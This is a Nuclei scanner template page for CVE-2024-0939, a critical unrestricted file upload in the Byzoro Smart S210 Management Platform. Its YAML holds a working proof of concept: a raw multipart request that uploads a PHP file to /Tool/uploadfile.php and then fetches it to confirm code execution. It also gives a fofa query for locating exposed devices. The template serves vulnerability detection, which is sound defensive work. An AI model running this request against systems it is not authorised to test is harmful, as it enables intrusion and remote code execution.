Smart S210 Management Platform - Arbitary File Upload

ID: CVE-2024-0939

Severity: critical

Author: DhiyaneshDk

Tags: cve,cve2024,smart,file-upload,intrusive,rce

Description

A vulnerability has been found in Byzoro Smart S210 Management Platform up to 20240117 and classified as critical. This vulnerability affects unknown code of the file /Tool/uploadfile.php. The manipulation of the argument file_upload leads to unrestricted upload.

YAML Source

id: CVE-2024-0939

info:
  name: Smart S210 Management Platform - Arbitary File Upload
  author: DhiyaneshDk
  severity: critical
  description: |
    A vulnerability has been found in Byzoro Smart S210 Management Platform up to 20240117 and classified as critical. This vulnerability affects unknown code of the file /Tool/uploadfile.php. The manipulation of the argument file_upload leads to unrestricted upload.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-0939
    - https://vuldb.com/?ctiid.252184
    - https://vuldb.com/?id.252184
    - https://vuldb.com/?submit.269268
    - https://github.com/tanjiti/sec_profile
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-0939
    cwe-id: CWE-434
    epss-score: 0.00063
    epss-percentile: 0.2659
    cpe: cpe:2.3:o:byzoro:smart_s210_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: byzoro
    product: smart_s210_firmware
    fofa-query: body="Smart管理平台"
  tags: cve,cve2024,smart,file-upload,intrusive,rce

variables:
  filename: "{{to_lower(rand_text_alpha(5))}}"
  num1: "{{rand_int(800000, 999999)}}"
  num2: "{{rand_int(800000, 999999)}}"
  result: "{{to_number(num1)*to_number(num2)}}"

http:
  - raw:
      - |
        POST /Tool/uploadfile.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywnsogfin
        Accept-Encoding: gzip, deflate, br

        ------WebKitFormBoundarywnsogfin
        Content-Disposition: form-data; name="file_upload"; filename="contents.php"
        Content-Type: application/octet-stream

        <?php print({{num1}}*{{num2}}); ?>
        ------WebKitFormBoundarywnsogfin
        Content-Disposition: form-data; name="txt_path"

        /home/{{filename}}.php
        ------WebKitFormBoundarywnsogfin--

      - |
        GET /home/{{filename}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - '{{result}}'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100ef132e5aac66ffa39339e0c213940ee974ea945b6f7a25633800c4f5ba0cd8fc02201dc15d6ad2d175e3579f1e9a8163ec97e3d0e1afa567aa1c67cc046c5184867d:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-0939.yaml"

View on Github